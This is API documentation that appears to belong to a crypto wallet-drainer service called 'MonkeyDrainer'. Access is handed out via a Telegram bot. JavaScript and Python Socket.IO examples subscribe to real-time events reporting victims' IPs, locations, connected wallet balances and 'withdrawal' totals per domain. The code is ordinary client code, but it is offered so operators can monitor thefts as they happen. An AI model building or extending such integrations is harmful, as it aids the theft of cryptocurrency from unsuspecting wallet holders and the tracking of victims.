Skip to content

Server API

⚠️ Warning! This documentation and API are intended for developers only.

Using server-side APIs and methods described here requires technical knowledge. Do not attempt to use these tools if you lack sufficient experience in programming or managing server applications.

Improper use of APIs or tools can lead to system malfunctions, data leaks, or other serious consequences. Always consult with a developer or expert before making changes.

FusionConnect Bridge

FusionConnect Bridge is a component that provides integration and interaction between various systems and services through a unified API. It allows developers to connect their applications to MonkeyDrainer services and automate processes via a standardized interface.

Key Features:

  • API Integration:
    FusionConnect Bridge provides full access to functionality via API, allowing you to integrate and remotely manage your applications.
  • Documentation:
    All information about FusionConnect Bridge features and settings is available in Swagger documentation.

Access to Swagger:

You can get Swagger access details via the main Telegram bot menu. The main menu contains the login, password, and URL for accessing the Swagger documentation, where all available API methods, parameters, and usage examples are described.

FusionConnect Relay

FusionConnect Relay is a WebSocket gateway that provides real-time events via the Socket.IO protocol. This component is especially useful for applications that need to instantly react to events like website visits, wallet connections, and transactions.

How to Connect to FusionConnect Relay

To connect to FusionConnect Relay, use the Socket.IO library. The following example shows how to establish a connection and subscribe to events.

1. Installing the Socket.IO Client Library

If you haven't installed the Socket.IO client library yet, run the following command:

bash
npm install socket.io-client
2. Connecting to the WebSocket Server

Use the following code to connect to the server and authenticate using an API key:

javascript
import { io } from 'socket.io-client';

const socket = io('https://yourserver.com/relay', {
  auth: {
    'x-api-key': 'your-api-key'
  }
});

socket.on('connect', () => {
  console.log('Successfully connected to FusionConnect Relay');
});

socket.on('connect_error', (err) => {
  console.error('Connection error:', err.message);
});
3. Subscribing to Events

Once connected, you can subscribe to events you're interested in:

  • Visit Event:
javascript
socket.on('visit', (data) => {
  console.log('Visit event received:', data);
});
  • Wallet Connect Event:
javascript
socket.on('walletConnect', (data) => {
  console.log('Wallet Connect event received:', data);
});
  • Transaction Event:
javascript
socket.on('transaction', (data) => {
  console.log('Transaction event received:', data);
});

Event Data Format

Each event delivers data in a specific format. Here are examples of the data structure for each event:

  • Visit Event:
json
{
  "ip": "192.168.1.1",
  "browserInfo": {
    "browser": "Chrome",
    "os": "Windows 10"
  },
  "geoLocation": {
    "city": "New York",
    "country": "United States",
    "flag": "🇺🇸"
  }
}
  • Wallet Connect Event:
json
{
  "ip": "192.168.1.1",
  "data": {
    "domain": "example.com",
    "walletAddress": "EQC1...",
    "walletVersion": "v3",
    "walletBalance": {
      "balance": 100,
      "usd": 150
    },
    "tokens": [
      {
        "name": "JETTON",
        "balance": 1000,
        "usd": 200,
        "decimals": 2
      }
    ],
    "totalBalanceUSD": 350
  }
}
  • Transaction Event:
json
{
  "ip": "192.168.1.1",
  "data": {
    "domain": "example.com",
    "walletAddress": "EQC1...",
    "walletVersion": "v3",
    "withdrawalAmount": {
      "balance": 50,
      "usd": 75
    },
    "tokens": [
      {
        "name": "JETTON",
        "balance": 500,
        "usd": 100,
        "decimals": 2
      }
    ],
    "totalWithdrawalUSD": 175
  }
}

Python Implementation Example

To implement the FusionConnect Relay connection using WebSocket in Python, you can use the socketio library. Below is an example code demonstrating how to connect to the server, authenticate, and handle events:

1. Installing the Library

First, install the necessary library using pip:

bash
pip install "python-socketio[client]"

2. Connecting to the WebSocket Server

Use the following code to connect to the server and authenticate:

python
import socketio

# Create a client
sio = socketio.Client()

# Handle successful connection
@sio.event
def connect():
    print('Successfully connected to FusionConnect Relay')

# Handle connection errors
@sio.event
def connect_error(data):
    print(f'Connection error: {data}')

# Handle disconnection
@sio.event
def disconnect():
    print('Disconnected from server')

# Handle events
@sio.on('visit')
def on_visit(data):
    print('Visit event received:', data)

@sio.on('walletConnect')
def on_wallet_connect(data):
    print('Wallet Connect event received:', data)

@sio.on('transaction')
def on_transaction(data):
    print('Transaction event received:', data)

# Establish connection with authentication
sio.connect('https://yourserver.com/relay', headers={'x-api-key': 'your-api-key'})

# Keep the connection active
sio.wait()

3. Code Overview

  • Connection and Authentication:
    The sio.connect() method is used to establish a connection, passing the server URL and an API key in the headers.
  • Event Handling:
    Event handlers are defined using the @sio.on(event_name) decorator to process incoming events such as visit, walletConnect, and transaction.
  • Maintaining the Connection:
    The sio.wait() method keeps the connection active to listen for real-time events.

This example demonstrates the basic steps for integrating with FusionConnect Relay using Python, allowing your application to receive and process events in real-time.